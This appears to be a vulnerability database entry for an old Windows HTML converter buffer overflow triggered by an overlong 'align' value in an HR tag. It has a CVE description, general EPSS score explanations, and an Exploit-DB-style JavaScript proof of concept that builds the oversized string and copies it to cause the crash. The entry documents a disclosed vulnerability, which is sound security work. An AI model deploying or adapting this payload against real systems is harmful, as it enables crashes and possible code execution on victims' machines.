CVE Descriptions

Buffer overflow in the HTML Converter (HTML32.cnv) on various Windows operating systems allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via cut-and-paste operation, as demonstrated in Internet Explorer 5.0 using a long "align" argument in an HR tag.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EDB Verified : Yes

source: https://www.securityfocus.com/bid/8016/info Microsoft Windows platforms are prone to a boundary condition error in the HTML converter. If the 'Align' attribute of the 'HR' tag is given an excessively large value, an internal buffer will be overrun. This issue can be exploited via applications which use the HTML converter (such as Internet Explorer) and will permit arbitrary code to be executed on a vulnerable system. <script> wnd=open("about:blank","",""); wnd.moveTo(screen.Width,screen.Height); WndDoc=wnd.document; WndDoc.open(); WndDoc.clear(); buffer=""; for(i=1;i<=127;i++)buffer+="X"; buffer+="DigitalScream"; WndDoc.write("<HR align='"+buffer+"'>"); WndDoc.execCommand("SelectAll"); WndDoc.execCommand("Copy"); wnd.close(); </script>
